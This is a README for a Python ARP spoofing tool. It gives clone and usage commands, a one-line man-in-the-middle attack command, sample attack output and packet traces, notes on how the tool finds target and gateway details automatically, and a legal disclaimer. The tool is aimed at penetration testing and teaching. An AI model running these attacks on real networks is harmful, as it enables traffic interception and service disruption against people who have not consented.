HecPy3 ARP Cache Poisoning Tool

An ARP Cache Poisoning (a.k.a "ARP Spoofing") tool is written in Python 3 that leverages a low-level assembly of Ethernet II frames and ARP packets.

This application maintains no dependencies on third-party modules and can be run by any Python 3.x interpreter.

Installation

Simply clone this repository with git clone and execute the arpspoof.py file as described in the following Usage section.

user@host:~/DIR$ git clone https://github.com/HectorTa1989/HecPy3-ARP-Cache-Poisoning-Tool.git

Usage

arpspoof.py [-h] [-i INTERFACE] [--attackermac MAC] [--gatemac MAC]
            [--targetmac MAC] [--gateip IP] [--interval TIME] [-d | -f]
            TARGET_IP

Execute ARP Cache Poisoning attacks (a.k.a "ARP Spoofing") on local networks.

positional arguments:
  TARGET_IP                    IP address currently assigned to the target.

optional arguments:
  -h, --help            show this help message and exit
  -i INTERFACE, --interface INTERFACE
                        Interface on the attacker machine to send packets
                        from.
  --attackermac MAC     MAC address of the NIC from which the attacker machine
                        will send the spoofed ARP packets.
  --gatemac MAC         MAC address of the NIC associated to the gateway.
  --targetmac MAC       MAC address of the NIC associated to the target.
  --gateip IP           IP address currently assigned to the gateway.
  --interval TIME       Time in between each transmission of spoofed ARP
                        packets (defaults to 0.5 seconds).
  --disassociate        Execute a disassociation attack in which a randomized
                        MAC address is set for the attacker machine,
                        effectively making the target host send packets to a
                        non-existent gateway.
  -f, --ipforward       Temporarily enable forwarding of IPv4 packets on the
                        attacker system until the next reboot. Set this to
                        intercept information between the target host and the
                        gateway, performing a man-in-the-middle attack.
                        Requires administrator privileges.

Running the Application

METHOD I: "Too long, didn't read"

Objective	Perform the attack with a single command and script-kid our way to victory
Execution	sudo python3 arpspoof.py TARGET_IP -f

METHOD II: Detailed Usage

Step 1 of 2
Objective	Perform an ARP Cache Poisoning with Man-in-the-middle (MITM) attack against a target with IP address 10.0.1.6 on our local network segment
Execution	sudo python3 arpspoof.py 10.0.1.6 -f
Outcome	Automatic configuration and subsequent transmission of spoofed ARP packets until EOF signal (Ctrl-C). Refer to sample output below.
Observations	Notice how the remaining settings are automatically obtained, including a setup for forwarding of IPv4 packets to enable a MITM attack (set by the -f switch)

• Sample Output

user@host:~$ sudo python3 arpspoof.py 10.0.1.6 -f
  
[>>>] ARP Spoofing configuration:
    [+] IPv4 Forwarding .....................True
    [+] Interface       .....................eth0
    [+] Attacker MAC    ........08:92:27:dc:3a:71
    [+] Gateway IP      .................10.0.1.1
    [+] Gateway MAC     ........52:93:d0:92:c5:06
    [+] Target IP       .................10.0.1.6
    [+] Target MAC      ........91:8b:28:93:af:07

[!] ARP packets ready. Execute the attack with these settings? (Y/N) y

[+] ARP Spoofing attack initiated. Press Ctrl-C to abort.

Step 2 of 2
Objective	Check the traffic generated by the attack and make sure it is actually working
Execution	Use an inspection tool such as Network Packet Sniffer
Outcome	Refer to sample output below
Observations	Check that packets #5 and #6 map the gateway and target IP addresses to the attacker MAC address (meaning that the attack was successful)

• Sample Output

[>] Packet #1 at 14:10:12:
    [+] MAC ......08:92:27:dc:3a:71 -> ff:ff:ff:ff:ff:ff
    [+] ARP Who has      10.0.1.6 ? -> Tell 10.0.1.5
[>] Packet #2 at 14:10:12:
    [+] MAC ......91:8b:28:93:af:07 -> 08:92:27:dc:3a:71
    [+] ARP ...............10.0.1.6 -> Is at 91:8b:28:93:af:07
[>] Packet #3 at 14:10:12:
    [+] MAC ......08:92:27:dc:3a:71 -> 91:8b:28:93:af:07
    [+] IPv4 ..............10.0.1.5 -> 10.0.1.6        | PROTO: UDP TTL: 64
    [+] UDP ..................52949 -> 54663
[>] Packet #4 at 14:10:12:
    [+] MAC ......91:8b:28:93:af:07 -> 08:92:27:dc:3a:71
    [+] IPv4 ..............10.0.1.6 -> 10.0.1.5        | PROTO: ICMP TTL: 64
    [+] ICMP ..............10.0.1.6 -> 10.0.1.5        | Type: OTHER
[>] Packet #5 at 14:10:18:
    [+] MAC ......08:92:27:dc:3a:71 -> 52:54:00:12:35:00
    [+] ARP ...............10.0.1.6 -> Is at 08:92:27:dc:3a:71
[>] Packet #6 at 14:10:18:
    [+] MAC ......08:92:27:dc:3a:71 -> 91:8b:28:93:af:07
    [+] ARP ...............10.0.1.1 -> Is at 08:92:27:dc:3a:71

And that's it! The attack will persist until otherwise aborted.

But how is this possible?

The simplest command for this tool consists of sudo python3 arpspoof.py TARGET_IP

Then where do the remaining settings such as Target MAC, Gateway IP and Attacker MAC come from? How is IPv4 forwarding enabled?

A brief explanation can be found in the docstring of the ARPSetupProxy class in the packets.py file:

Performs a best-effort attempt to query the system and network for information necessary to build the ARP attack packets. It allows the user to initiate an attack by simply supplying the target's IP address. All other required settings are looked up from the attacker system's ARP and routing tables and by probing ephemeral ports on the target host.

This tool prioritizes the automated gathering of all information required to initiate the attack, releasing the Penetration Tester from going through all the manual processes required by similar tools.

With that in mind we have that the following operations are the ones executed by the application to obtain each setting:

• IPv4 Forwarding: Execute an overwriting of the value 0 to 1 in the file /proc/sys/net/ipv4/ip_forward.
• Interface: Parse the attacker's routing table and look for interfaces mapping valid routes to the gateway.
• Attacker MAC: Bind to interface and query its name from socket
• Gateway IP: Parse the attacker's routing table and find the route with 0x0003 flag set.
• Gateway MAC: Parse the attacker's ARP table looking for devices with Gateway IP.
• Target MAC: Send a UDP datagram with an empty byte string to a random ephemeral port on the target system (effectively making the attacker system execute an ARP request followed by an ICMP probe to the broadcast address) and then reading the newly written information from the ARP table.

Legal Disclaimer

The use of code contained in this repository, either in part or in its totality, for engaging targets without prior mutual consent is illegal. It is the end-user's responsibility to obey all applicable local, state and federal laws.

Developers assume no liability and are not responsible for misuses or damages caused by any code contained in this repository in any event that, accidentally or otherwise, it comes to be utilized by a threat agent or unauthorized entity as a means to compromise the security, privacy, confidentiality, integrity and/or availability of systems and their associated resources by leveraging the exploitation of known or unknown vulnerabilities present in said systems, including, but not limited to, the implementation of security controls, human- or electronically-enabled.

The use of this code is only endorsed by the developers in those circumstances directly related to educational environments or authorized penetration testing engagements whose declared purpose is that of finding and mitigating vulnerabilities in systems, limiting their exposure to compromises and exploits employed by malicious agents as defined in their respective threat models.